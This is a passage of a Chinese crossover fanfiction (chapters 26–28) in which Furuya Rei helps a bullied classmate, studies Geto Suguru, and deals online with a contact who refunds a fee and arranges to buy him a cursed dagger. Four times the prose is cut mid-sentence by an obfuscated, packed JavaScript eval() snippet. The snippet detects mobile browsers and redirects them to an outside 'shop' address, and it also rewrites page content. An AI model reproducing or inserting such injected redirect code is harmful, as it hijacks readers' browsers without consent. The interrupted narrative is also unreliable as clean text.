他原本想看看有没有从急诊转移出去的患者在本地论坛发帖,但连续逛了几个社区,他也没有看见有人发类似的帖子,现在这个论坛是最后一个了。 降谷零快速扫视帖子,筛查想要的目标。 但可惜,这个论坛也没有他想要的信息。 其实也不难理解,患者正在急诊待得好好的,结果突然被告知要转院。从一个医院转到另一个医院的期间肯定都会有点手忙脚乱,更别提是急诊的患者了。 然后等安顿好后,患者和家属又要关注患者的身体情况,短时间内大概不会有心情去网上吐槽。 想了想,降谷零把论坛的事情也暂时放下了,放松靠在椅背上,不禁又想起了在急诊楼内的经历。 被高级咒灵硬控在原地后,他之后的探查更加小心了,可每次靠近咒灵还是会受到影响。 唯一算是好消息的事情就是程度不一样了,有了心理准备后的感觉,大概就是“同时被五个琴酒拿枪抵着脑袋说‘抓住你了,老鼠’”吧。 降谷零:…… 脑补的画面过于生动,他感到一阵恶寒,打了个激灵。 呸呸呸,什么烂东西!今晚要做噩梦了! 降谷零用力摇了摇头,把这诡异的画面摇散。 总之,就是应激反应差不多折半了。 但降谷零仍然不能掉以轻心。 通过今天的事情看,世界意识说的危机比想象中更棘手,二十年虽然听上去时间长,但中间出什么意外的可能性都有,他不仅要尽快提升实力了,还要丰富装备库。 ——所以风使那边到底是什么情况? 降谷零想起这件能决定他后续安排的事情就抓心挠肝,不受控制地想要拉快进度条,直接穿越到周五,去开始进行下一步计划。 说起来,其实从上周五到现在,时间也够久了吧?如果风使他们真的有意追究,不是早就动手了吗?他能安稳到现在,怎么说都算是没事了吧? 不过,虽然想是这样想,但降谷零没有真的放飞自我,他在这边的底牌实在不多,经不起他浪,刻在骨子里的谨慎让他及时刹住了车。 任务的进程在这里卡住,降谷零回归了小学生日常,安心等待着下一个更合适的时机。 随着日历上的数字被连续划去三个,在降谷零期待的周五来临前,他先等到了岛田大树。 彼时数学课刚下课,教室里的噪音分贝即将突破耳膜的忍受程度,降谷零捂着脑袋,强行将听力下线,顽强地坐在座位上扫荡作业。 然后,不知是谁扬声喊了一嗓子:“降谷同学——有人找你——” 熟悉的姓氏发音穿过各式各样的杂音,精准地被耳朵捕捉,降谷零立刻抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148549|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却一时没有找到视线落点,不知道是谁在喊自己。 恰在此时,岛田大树从班级门外探进头,冲他招手:“降谷同学!” 降谷零愣了一下:“诶?岛田同学?” 他合上作业,快步走过去。 降谷零先冲帮忙喊他的同班同学道谢,然后看向岛田大树:“下午好,岛田同学,你怎么突然来找我了?” 岛田大树没有直接回答,而是卖了个关子:“你猜猜?” 见岛田大树一派轻松的样子,降谷零心中有了猜测:“是之前的办法奏效了吗?” “没错!”岛田大树用力点头,“你说的方法太好用了,他们再也没有嘲笑过我了!” “所以是什么方法?” “噫——!” 背后冷不丁地出现一个声音,岛田大树被吓了一跳,瞬间蹿出去躲到了降谷零背后。 降谷零看见第二个意外又不意外的人,再次打了个招呼:“啊,是夏油同学,下午好啊。” “夏油同学?”岛田大树扒拉着降谷零的肩膀探出头,看到对面的人是夏油杰,呼口气,拍了拍还在剧烈跳动的心脏,“原来是夏油同学啊,吓我一跳。” 夏油杰无语地看着岛田大树:“你大惊小怪什么?我明明是在正常说话吧,你胆子也太小了。” 夏油杰刚刚从开水房出来,就看见不该出现在这一层的岛田大树。 原本他以为岛田大树是又遇见了什么困难,所以过来求助,却没想到岛田大树不是来找他的,而是去了降谷零的班级。 夏油杰一时想不到岛田大树找降谷零的原因,就站在不远处旁观,等听见他们提起“不受嘲笑的方法”,他才克制不住好奇心,上前搭话。 没想到岛田大树一惊一乍的,把他也吓了一跳,差点手一松弄掉水杯。 “那是……” 岛田大树本想说是因为夏油杰站在他背后突然说话的,但他看了看夏油杰严肃的表情,不敢反驳,支支吾吾地道歉:“我……对、对不起……” 夏油杰见岛田大树说话又磕磕巴巴的,皱了皱眉,想让他有话好好说。 降谷零一看气氛走势不对,在夏油杰说教前率先截断了话:“办法其实很简单啦。” “有个词叫‘自证陷阱’,意思是指当一个人被他人质疑、指责时,会不由自主地陷入‘证明自己清白’的循环,结果反而被对方牵着走,陷入更被动的局面。” “岛田同学的情况和这个有点类似,也是因为一直用回避的防御方式,处理来自外界的攻击,导致自己陷入了越来越糟糕的局面。” “所以我给的办法就是:不防御,只攻击。” 夏油杰没有听太懂:“不防御我能理解,大概就是不再回避。但什么叫只攻击?怎么攻击?” 他有点怀疑地看向岛田大树:“我也让他反击了,但他说自己不行来着。” 岛田大树看着夏油杰眼睛里写的“明明我也提出了同样的方法,你为什么反而对我说做不到”的质问,疯狂摇头:“不是不是!不一样!” 夏油杰是让他反怼回去,甚至在必要的时候直接上拳头,这他哪儿能做到啊! 26.第 26 章 为了不让夏油杰误解,岛田大树第一次在和他说话时没有结巴:“降谷同学让我在他们来找麻烦的时候,只重复类似‘你这么在意我的声音,是在羡慕我有这样独特的声音吗’之类的话就可以了。” 需要说的话只要保持中心意思不变就好,剩下的可以随便发挥,不需要绞尽脑汁想怎么针对性地反驳,也不需要动手,非常适合他! “啊?”夏油杰彻底不懂了,他看向降谷零,“这样就可以了?” 降谷零点头:“一般来说,这样就足够了。” 毕竟现在还是九十年代呢,对手又只是小学生,而这个方法可是在未来互联网大爆炸后,哪怕和属杠精的键盘侠对峙,都能不落下风的阴阳怪气反击法,说是用名刀“正宗”来切萝卜*也不为过。 夏油杰抱着水瓶,眉头拧在一起,想了又想,还是没想明白这种轻飘飘的话为什么会有用。 但他也不是纠结这种事情的性格,他重新看向岛田大树,换了话题:“好吧,就算够用了,那你居然能做到?你和我说话都说不利索。” 岛田大树瞬间涨红了脸:“我……” 降谷零很想捂脸,夏油同学!不要这样乱说大实话啊! 降谷零打圆场:“我想岛田同学也是反复努力,然后才成功做到的吧?你真的很棒!” “也、也没有……”岛田大树有点不好意思,小声道,“我一开始确实没敢开口,但大概是在脑子里排练太多次,后来一个不小心,我就嘴比脑子快地脱口而出了,然后他们都愣住了!” 夏油杰插话:“按照我的经验,他们应该会更生气。” 岛田大树抓抓头发,一脸心有余悸:“是、是这样。他们当时可凶了,我人都吓傻了。” “你没事吧?”降谷零适时发出关心,虽然岛田大树能站在这里就代表没事了,但该问还是要问的。 “我没事,你放心。”岛田大树冲他露出一个腼腆的笑。 “然后呢?”夏油杰受不了这种磨磨唧唧的速度,催促道,“你再不快点,我们就要去上课了。” 岛田大树愣了一下,点点头:“哦哦……然后、然后就是我用降谷同学教我的另一句话‘你这样激动是不是因为被我说中了’反驳回去了。其实当时我特别害怕,脑子一片空白,这句也是嘴快下意识说出来的。” “再然后,我想着都已经是这样了,就一鼓作气继续干好了。结果没想到真的把他们说走了!还是哭着跑走的!” 说到这里,岛田大树的眼睛亮起来:“我是第一次反击成功!后来他们再找我麻烦我也敢继续反抗了!也都成功了!降谷同学,太谢谢你了!” 降谷零弯起眼睛笑了笑:“不用客气。这其中都是岛田同学自己的努力,毕竟如果你不下定决心尝试,我出再多的主意也没用,不是吗?” “那也要感谢降谷同学。”岛田大树从拎着的手提袋里拿出一袋饼干递给降谷零,“那个……为了感谢你,我自己学着做了饼干。原本应该更早过来道谢的,但饼干失败了几次才成功,现在才做好……希望降谷同学不要介意。” 降谷零了然,原来岛田大树一直提着袋子是这个原因啊。 他看向岛田大树手里的饼干,包装是打着蝴蝶结丝带的透明礼物袋,能看见里面上色有点不均匀的小熊头饼干,一看就是新手手工做的,符合岛田大树的说法。 降谷零接过来:“怎么会嫌弃?我开心还来不及!谢谢岛田同学给我做饼干,我还是第一次收到这种手工礼物呢!” 岛田大树的脸颊上泛起害羞的红色:“不客气……” 岛田大树扭捏了还没有一瞬,余光就看见了还在一旁立着的夏油杰:“啊,对了,还有夏油同学!” 他急忙从手提袋里拿出另一个一模一样的饼干:“那个、也谢谢夏油同学!这是送给夏油同学的谢礼!” 岛田大树一个大鞠躬,捧着饼干递到夏油杰眼前。 夏油杰愣在原地:“这是……给我的?谢礼?” “是、是的!”岛田大树保持着九十度弯腰的姿势,“请务必收下!” 夏油杰惊讶地睁大了眼睛,耳廓瞬间浮上红色:“啊、好、好的!” 他手忙脚乱地接过饼干:“那个、我也没做什么事情,你不用放在心上,都是、都是我该做的,全是小事……” 现场一下从一个结巴变成两个结巴,降谷零抱着饼干,降低存在感在一旁围观,视线若有所思地落在夏油杰的身上。 降谷零认识夏油杰的时间虽然短,但几次相处下来,他已经发现了这个孩子身上有一种极其矛盾的感觉。 首先,夏油杰有属于他这个年纪小孩子有的、真实的纯真。 这种特质并不是一般人能装出来的,所以夏油杰就是真小孩,和自己这种特殊的情况不一样。 其次,夏油杰很成熟。 这个“成熟”有一半是装出来的成熟,是急于长大的小孩子对成年人笨拙的模仿,比如对他人的称呼,夏油杰会刻意带上成年人才会用的“君”、“桑”之类的尾缀,而不是用小学生更常用的“同学”或者“酱”。 当然,到目前为止这两条没什么异常,降谷零更在意的是夏油杰身上另一半的“成熟”,那是真正经历了坎坷和挫折后磨练出的东西。 夏油杰能有小孩子的纯真,能有心力去故作成熟,就代表他是一个在健康环境下成长的孩子,那么他又会经历些什么,才会有那一半“真的成熟”呢? 最后,降谷零还有一个在意的点,那就是夏油杰身上还有一种不经意间就会透漏出来的傲慢。 傲慢,降谷零不是故意用这种带有贬义色彩的词语去描述一个年幼的孩子,他只是在陈述客观事实。 之前第一次见到夏油杰的时候,降谷零就有这种感觉了。 从帮忙赶跑那几个孩子,到承诺保护他,夏油杰的一言一行都很强势,也很理所当然,完全没考虑他愿不愿意接受、是不是会答应,仿佛只要夏油杰安排了,他就一定要服从。 包括岛田大树的事情也一样,夏油杰也是单方面地提出了自己认为对的要求,然后让岛田大树去做,完全没管以岛田大树的能力能不能做到。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152717|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 或者说,夏油杰根本没考虑过岛田大树能不能做到,他觉得他能做到,所以其他人也该能做到,如果做不到,那就是这个人有问题,需要他强势接管,比如他之前把人堵在厕所就是这样。 这些乍一看很像是“不会换位思考”而导致的疏漏,但只有亲身面对过的人才知道两者的区别。 是欠缺考虑还是本质如此,是平等还是俯视,这些还是很好区别的。 但如果说夏油杰是个假好人吗?也并非如此。 夏油杰有能共情他人的同理心,也有保护他人的责任心,只是细节中处处透漏着上对下的高高在上感,因此降谷零只能想到“傲慢”这个词语。 降谷零实在是很好奇,是什么导致了夏油杰身上会出现这样复杂又多样的矛盾。 除此之外,降谷零也很意外夏油杰对被送礼物这件事的反应。 虽然夏油杰很“傲慢”,但实际上除了小部分比较敏感的人,其他人根本不会察觉出来什么。 退一步讲,就算察觉出来异样,小学生又能想多少?也基本只会觉得夏油杰相处起来没那么舒服。 所以,夏油杰这种大体上对外性格直率,又会保持一定社交距离的人,朋友应该不会少,那么他为什么对被送礼物这件事是这种反应? 还是说夏油杰是因为“被送谢礼”这件事感到不好意思?但夏油杰的反应明显是由于很少经历而出现的局促。 可是按照夏油杰的说法,他帮助过的人应该不会少,就算十个人里面有七个人因为这样或那样的原因没有给谢礼,那剩下三个中也总会有一个人给吧?怎么夏油杰就一副“没见过世面”的样子? 降谷零百思不得其解,然后等他将所有观察到的信息又重新捋了一遍后,曾经出现又被他否掉的推论再次跳出来——夏油杰该不会是咒术师吧? 咒灵是非术士不可见的,如果夏油杰是咒术师,那么在不知道别人看不见的情况下,他要是坦白了自己的“超能力”,别的小孩子会怎么看他?不用想都知道不会是什么很好的结果。 所以夏油杰是不是经历过很多这种事情,才会有那一半真正的成熟? 还有,之前就说过夏油杰很谨慎,再加上他行为处事很赶时间、不愿意多说的样子,会不会就是在咒灵方面上体验过很多次“解释了但没人信”,而后就慢慢发展成这样的习惯? 然后导致连锁反应就是,被夏油杰帮助的人比起感谢,更会抵触、甚至害怕他,所以他现在才是这种反应? 一想到这里,降谷零就有点忍不住了,他可是知道那种“因为不一样而被孤立”的感受有多糟糕,夏油杰这种好孩子不该经历这些。 决定了,他要在日程表中加一项调查夏油杰具体情况的计划。 如果他猜错了,那万事皆好。 但如果他猜中了、夏油杰真的是咒术师,那看在夏油杰帮过他的份上,他就一定要管一下这件事了,总不能真的放任这敢追着“鬼”跑的愣头孩子乱来,回头遇见厉害的咒灵就完蛋了。 想到这里,降谷零开始思索要从哪里查起。 27.第 27 章 恰在此时,上课铃声响起。 “叮铃铃——” 铃声清脆,岛田大树愣住,慌乱地同其他两人告别:“那个、我该走了,不然要迟到了。降谷同学再见!夏油同学再见!” 说罢,也不等两个人回答,快速跑走。 “等——”夏油杰下意识抬手,但拉了个空,他表情无语,“真是的,这也太不稳重了吧。” 降谷零往“夏油杰观察记录”上又添了一个“过于板正”的标签,道:“算了啦,他不是这个楼层的嘛,着急也正常。” 他指了指班级:“那我们也回教室?” 夏油杰无奈点头:“回吧。下次见。” “下次见。” 降谷零和夏油杰互相道别分开,往教室走,继续思考调查夏油杰的方向。 似乎直接用咒灵试探夏油杰能不能看见最快?那么他是不是要去抓一只蝇头?毕竟这个咒灵最简单常见,也最没危害性。 对了,消灭咒灵需要用咒具这种特殊的制品,那拘禁咒灵需不需要?他用塑料袋之类的东西行吗? 降谷零回忆了一下风使给的资料,但上面没有相关内容。 他又回想了一下之前在医院看见的咒灵的情况,那只咒灵似乎能触碰到墙壁这种实物。 能触碰墙壁,应该就能触碰塑料袋吧? 实在不行就直接上手! 降谷零摩拳擦掌,每天上学和放学的路上都眼观六路耳听八方,就等着再来一直蝇头主动送上门。 但该说世界意识保护得太好了吗?连续两天他都没在学校和家附近看见哪怕一只蝇头。 降谷零:怎会如此! 眼见已经到周五,降谷零只好暂且放下这件不是特别紧急的事情,将精力集中到风使那边的事情上。 上上周五放学,降谷零是被班主任叫住。 上周五放学,降谷零是被同学和班主任挨个叫住。 这周五放学,降谷零吸取教训,在最后一个课间就提前收拾好东西,然后在老师宣布下课离开后,踩着老师的影子火速溜走,成为本层楼第一…… ——第二个离开的学生。 降谷零:? 他看着已经略过楼梯转角的熟悉身影,愣了一下。 那不是夏油杰吗? 降谷零放轻脚步,快步跟上去,却见夏油杰在出了教学楼后脚步一拐,往校园后方去了。 降谷零看了一眼夏油杰快要消失的背影,又看了看时间,最终还是决定先去处理自己的事情。 他一路小跑回家。 由于上次为了扫尾,降谷零把其他两个地方里用于伪装的物品全给清理了,这次他就只能从家里打包东西,路上再慢慢折腾了。 降谷零从衣柜里挑了一套低调又不起眼的衣服换上,然后背起早就准备好的装备包出门。 …… 一个多小时后,降谷零到达了先前那栋老城区的一户建的附近。 他没有立刻靠近,而是戴着帽子在周围打转。 便携监控器的电池早在三天前就电量告罄,出于谨慎,降谷零没有过来更换,硬是等到了今天。 不过他也没闲着,这三天晚上他把之前所有的画面都翻来覆去研究了个遍,但结论与之前一样都是无事发生,所以从表面上来说,情况一切正常。 只是视频到底是不是原版就不好说了,因此需要现场检查。 降谷零在远处将几个放监控的地方挨个看了一遍,确定监控没有被挪位置、也没有被移角度后,他才找了个无人的角落添上最后的伪装——假发、皱纹和老年斑——然后佝偻着背,脚步蹒跚地靠近。 等再凑近监控一看,嗯,他特意撒的灰都是原模原样,看来确实没人动过这些东西。 降谷零伸手想要把监控拿走,但手伸到一半,他又停下。 不行,非科学的东西不能用常理来推测,万一他们发现了这个摄像头后远程施法了呢? 降谷零立刻后退几步拉开距离,又看向一旁的房子。 这样看他最好也不要靠近那边,万一是范围触发型的诅咒怎么办? 至于脚下这里在不在被施法的范围内……算了,来都来了,姑且暂时当安全吧。 但这次的后知后觉也给降谷零又提了一次醒:这个世界不符合唯物主义世界观,他不能按过往习惯行事,要时刻谨记把超常规的非科学力量考虑进去,不然不知道什么时候就踩到阴沟里去了。 “啧,该死。”降谷零忍不住低声骂了一句。 降谷零想到在原世界里见过的那些脑回路清奇的犯罪分子们,觉得自己危险极了。 按之前风使给的资料看,术式的种类不固定,出现什么类型都不奇怪,那鬼知道会不会有人的术式是能“提前埋伏”这种防不胜防的东西?别哪天他只是平平无奇地走在路上,就莫名其妙中招了。 降谷零越想越觉得头疼,但这事儿也不是一时半会儿能解决的,还要看风使那边的情况。 如果顺利,他可以从风使那里再了解些内容,甚至还能买点防具。 如果不顺利……那就再议吧,先等今天的事情结束再想。 降谷零反身往废弃仓库那边去,但选了与之前落脚点相反的另一条路。 这块片区都是闲置的地,很容易就能找到符合降谷零要求的角落。 降谷零盘腿坐下,将电脑从书包拿出来放在腿上,把能开的防护拉满后,他重新登录厌丑症的网站。 一上线,就有消息提示音响起,降谷零的动作顿了一下,然后点进闪烁的图标。 在他上一次看见的最后的消息后,只有一条新消息。 【风使:?】 再看时间,是上周五他下线时间的十分钟后。 降谷零看着风使亮着的头像,十指覆上键盘,开始打字。 【Z:抱歉,前辈。上周五突然出了点事情,没来得及回复您。后来就该回学校了,所以又搁置了,现在才有空。】 风使的回复依旧速度。 【风使:没事。】 【风使:你是学生?】 【风使:是哪个学段的?】 【风使:还记得我之前给你发的资料里的高专吗?如果是高中学段,或许你可以入学那边。】 见风使这种反应,降谷零挑眉。 看起来这下是真的没事了? 话说,那位希望之手没有拆穿他吗? 但不管具体是什么情况,现在的发展都对他极为有利。 总之,先拉关系! 【Z:太感谢前辈了!】 【Z:前辈真热心,还这么照顾我……我太感动了……】 【Z:能在一开始就遇见前辈这么好的引路人,我太幸运了!】 【风使:客气了,之后如果还有哪里有问题也可以来问我。】 【风使:如果现在有时间的话,还需要你填写一下之前那个表格。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168019|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【Z:好的!我这就弄!】 再次确定风使的态度,降谷零的心定下来大半。 检查好电脑防护,他翻到之前的聊天记录里,下载了文件。 上周五的那份表格,是基础的昵称、引鉴人、加入时间,对接人。 而现在这份表格更为详细,在上表的基础上还添加了:身份,比如是否有术式,是否能看见咒灵。 咒术类型,不需要写明具体效果,只需要写大方向,比如强化、攻击、防御之类的。 想要发展的方向,比如后勤或者外勤。 …… 诸如此类各种各样的内容有很多,一看就是正式加入的人才会填写的登记表。 降谷零也不管自己是不是被邀请的,反正对方没拆穿,他就假装自己是,能白嫖肯定要先白嫖着。 降谷零一路七分假三分真地填下来,然后发出去。 风使那边很快接受。 【风使:好的,这边收到了。】 【风使:以及,你需要再看一下这个,然后按照最后的内容定下束缚。】 降谷零再次接收文件,打开发现是有关保密的条款。 他看着最后那句就字面意思而言平平无奇、效果却格外有用的话:“束缚吗……” 降谷零其实有一瞬间是迟疑的,这个保密条款内规定“无论如何都不能透露内部的事宜”,或许风使不一定知道,但降谷零能不知道自己的情况吗? 他是浑水摸鱼进来的,这就是个大雷,万一这件事情未来暴露了,他怎么搞?难不成离开后还要继续保密吗? 老实说,按照情报贩子的一贯作风,保密是不可能保密的,不被他拿去卖钱都是最大的尊重了——虽然他从一开始的打算就是捞一笔就跑。 可现在的发展打断了降谷零原本的计划,他只能重做打算。 如果一定要加入,且要对一切保密的话……其实也不是不行。 从一开始加入这个论坛的方法,到后来成员入会的流程,再到现在这份保密条款,是个人就能看出风使在的这个组织有猫腻,降谷零自然也看出来了。 风使他们在尽可能低调。 为什么要选择低调? 结合之前风使给的有关咒术界的资料和零星解释,降谷零大概能看出一二。 首先,咒术界的一切资源都被五条、禅院和加茂这三个大家族把持,他们以世家血脉为联系,极度排外。 其次,咒术界人数稀少,其中大部分是靠家族继承天赋、觉醒术式的咒术师,只有少部分才是靠自己的野生咒术师。而因为资源被家族把持,野生咒术师又会被各个家族以这样或那样的理由圈走,所以剩下的自由咒术师少之又少。 最后,根据基本常识推断,三大家族能有现在的影响力,想必存在的时间非常久远,至少以百年起步。一般来说——也是他过去的经验之谈——这种传世很久的家族,其内部话事人的行事作风基本都很……嗯,很古典,其他附庸者则会本能地维护家族的利益。 以上,是任何一个试图在以三大家族为主的势力网络中,建立属于自己的势力的人都需要面对的困境,所以他们需要低调。 ——是的,结合目前已知的所有信息,根据降谷零的推理,风使背后的组织绝对是在各个大小家族的夹缝中建立完全与家族切割的势力。 且不提他们为什么要避开家族,但单说他们避开家族的这一行为就戳中了降谷零心中的点。 28.第 28 章 因为降谷零现在对一切都尚未熟悉起来,连自己的能力都一知半解,他原本就打算远离咒术界那些错综复杂的势力,免得自己的行动会受到他们的牵制。 但降谷零又确实需要一个渠道去进一步了解咒术界的事情,以方便自己后续的计划,所以综合考虑下来,风使他们的组织正巧合适。 更何况从两次的交谈来看,风使在的组织的基本行事作风还算正派。 退一万步讲,就算这种正派的作风只是风使的个人素质,与他背后的组织无关,但仅此就值得降谷零投资了,毕竟有价值又靠谱的人不多,能遇见一个就一定要先抓住。 想到这些,降谷零毫无负担地立下束缚。 就在降谷零话音落下的下一秒,风使的消息再度弹出。 【风使:好了,那我们进行下一步。】 【风使:你之前的账户还在使用吗?我把上次的咨询费转给你。本来之前就该转的,但我看是临时账户,担心你没再用就没转。】 退钱? 降谷零没想到还有这出,他有点不敢相信地发消息。 【Z:是的,在用的。】 【Z:不过为什么要……退钱?】 【风使:因为你不需要咨询。】 降谷零愣了一下,不需要? 看上去……这句话的意思似乎是,在风使看来他不是真正的求助人,也就没有必要收费了。 嗯……所以他们是拿钱办事,但没办事就不拿钱?执行得这么严格? 降谷零还是不太敢信,追问一句。 【Z:那……虽然有点冒昧,但我们没有入会费之类的东西吗?】 【风使:没有那种东西。就算有,五十万这个费用也过高了。】 下一秒,降谷零的手机就响了一声,是钱到账的短信提示。 降谷零这下是真的惊讶了。 不是吧,真退啊?不是客套啊?都吃进嘴里了,居然还愿意吐出来? 虽然按照理论来说,整件事是“求助-交易-解决”的流程,如果卡在任意环节,“交易”这一步就不成立,钱自然也不该拿。 但怎么说呢……有些东西就是就是不按理论来的。 比如咒术界应该就是。 根据风使之前对咒术界只言片语的形容,降谷零就勾勒出一个以实力——是物理意义上的“实力”,而非财力等外物附加的那种——为尊的环境。 而众所周知,以实力为尊的环境基本都会有一个潜规则——强权即公理。 哪怕不想承认,但事实如此。 尤其是像咒术师这种有钱、有权又有武力,还有家族传承,会自动抱团的群体,那真是debuff叠满了。 虽说他们承担了消灭咒灵的职责,保护了国家和公民的生命安全,但也不能因此就忽视他们自带的、对国家和公民的危险。 之前降谷零刚知道咒术界的时候,心急到想要立刻安排公安的工作就是考虑到这些。 这就是隔壁国家的一句话,叫“侠以武犯禁”。 ……好吧,扯远了。 总之,降谷零从头到尾就没有对“咒术师”这个群体抱有什么过高的期望——毕竟连琴酒都敢开直升机轰炸东京铁塔,拥有超能力的咒术师能干出什么他实在不想去想。 更何况,一开始风使说的确实是“咨询费”。 咨询咨询,又没有说要去解决,不是吗? 退一步讲,左右求助他们接了,答疑也答了,怎么能说是没解决呢?降谷零自己都认为交易是完成了的。 结果风使退款了。 “这可真是……意外之喜。”降谷零低声呢喃。 降谷零之前查过风使给的银行账户,那是个对公账户,所以风使现在能退款,至少他背后的组织是知情的,从这里以小见大,可以看出风使在的组织的作风很不错。 既然这样,那这个组织就有长期发展的必要了。 降谷零摩挲着手机边缘,将目前这个组织唯一的对接人风使的关注顺序又往上提了提。 【Z:啊,好的,钱已经到账了。】 【Z:对了,前辈,还有一件事情需要麻烦您。】 【Z:请问我前辈您知道从哪里可以购入咒具吗?我想买一个防身。】 【风使:有倒是有,也不是不能帮忙。只是……虽然之前有提起过可以买咒具,但我个人的看法是建议你暂时不要接触这些。】 降谷零看见这个转折愣了一下,风使怎么突然就改口了?正常来说,如果能有一个防身工具不是应该支持吗? 等等…… 降谷零的视线落在风使的最后半句话上。 “个人看法”、“你”和“暂时”……降谷零忽然明白了风使的潜在含义——风使这是把他当成不知轻重的小孩子了,害怕他拿到咒具就会主动冒险! 降谷·实际上并不小·零:…… 他开始后悔之前找了那个借口了。 降谷零紧急找补。 【Z:诶?为什么不建议?】 【Z:啊!前辈是担心我使用不好、伤到自己吗?】 【Z:请放心!我只是想买一个小匕首,随身带着以防万一,这样比较安心。】 【Z:而且我也不会拿自己的安全冒险的,您不用担心!】 这次,风使那边过了好一会儿都没有回复消息,唯有聊天框顶部反复闪烁的输入状态才能证明风使还在。 又过了一会儿,风使的消息才重新跳出来。 【风使:我知道了,会帮你购入的。】 【风使:但请务必不要盲目使用,尤其不要冒险对上咒灵,一切以确保自己的安全为首要。】 降谷零看着这条消息,眨了眨眼。 风使果然是在担心这方面的事情……嗯,他好像大概知道风使是什么类型的人了。 降谷零顺着风使的话答应下来。 【Z:我明白的,前辈放心!】 没错,只是“明白”,照不照做另说。 毕竟他是要回家的人,而为了回家答应的那个任务本就不轻松,他又想追求效率,所以自己的安全什么的……很难优先确保吧?尤其是有些时候,计划就是赶不上变化的。 但总归死不了,所以问题不大!降谷零理直气壮地想。 可惜风使不知道网络对面的家伙是这种叛逆的家伙,很轻易地信了。 【风使:联系购入咒具需要时间,到时候我们再一手交钱一手交货。】 【风使:不过只是匕首这种咒具,花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173326|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费的时间不会太久,最近你留意自己的消息通知。】 【Z:好的,再次感谢您。】 正事弄完了,降谷零就准备下线了,但他注意到风使的聊天框又反复跳出“正在输入中”的提示。 左右不是很急,他就又等了等。 【风使:我无意冒犯,但还是想冒昧问一句,上次的咨询费是你的零花钱吗?】 降谷零:? 降谷零一时没反应过来这个问题是什么意思。 【Z:是的,请问有什么问题吗?】 【风使:啊,没事,因为咒具稍微有点贵,如果要用降低生活水平来交换,会有点得不偿失。】 降谷零这才反应过来,风使刚刚是在委婉问他的经济情况呢,大概是担心他的钱不够用。 至于说是“不够用来买咒具”,还是“不够用来生活”……唔,看风使的后半句话,主要原因还是后一个吧,风使应该是害怕他把自己饿死?风使果然是个容易操心、心地比较柔软的人。 降谷零对风使的好感再次upup↑。 【Z:这个方面前辈不用担心,我有钱的。】 【Z:不过还是谢谢前辈的关心!】 【风使:没事,你是我负责的,应该的。】 【风使:对了之前你还没说,你是什么学段?高专的事情要不要考虑一下?】 【Z:抱歉前辈,这个我一个人说不管用,需要再问问家里人。】 【风使:好,那你问问,回头告诉我,如果要去的话,我可以帮忙牵线。】 【Z:嗯嗯,我知道了!再次感谢前辈!】 【风使:客气了。】 将风使这边的事情解决,降谷零心头的重担解决了一部分,他浑身轻松地准备回去。 在回去的路上,降谷零并没有顺路收回监控器,而是确认它们仍然一切正常后,就这样直接走了。 ——别以为他看不出来,自己在风使那里还处在“观察期”呢,不然一个颇有规模、还能建设网站的组织,怎么会拿不出最普通的低级咒具呢?再加上对方也没有细说关于“高专”的事情,摆明了不信任自己。 但这都是正常的,要是风使就这样直接信任他了,那问题才大了呢。 更何况,谁又能说,风使在他这里不是处在“观察期”呢? 他们彼此彼此。 因为这次没有额外插曲,降谷零回家的途中正巧赶上下班高峰期。 他更小心地避开路人,一路不着痕迹地慢慢卸下伪装,直到重新变回了那个外表看上去天真无邪的小学生后,他才从小路拐出去,到了人来人往的大路。 降谷零一边骑车,一边思索着接下来的计划。 既然暂时不用担心风使这边了,那他逃亡之类的备案就可以先放到一边了,目前要紧的事情是抓紧时间提高身体素质,锻炼冷兵器的使用和熟悉咒力以及咒术,还有就是要多次实验归纳残秽的相关数据…… 除此之外,人际网的拓展也要继续,其他暗网的搜寻也不能停。 降谷零轻叹:“事情还是有很多啊,感觉时间根本不够用……” 自觉时间紧迫的降谷零当晚就以自己为样本,开始加班加点地继续搞研究,并决定将每天锻炼的时间加长。 29.第 29 章 客厅挂钟的时针转了一圈又一圈,昏暗的房间又重新变得明亮,寂静的室内被一声闹铃打破。 “唔……” 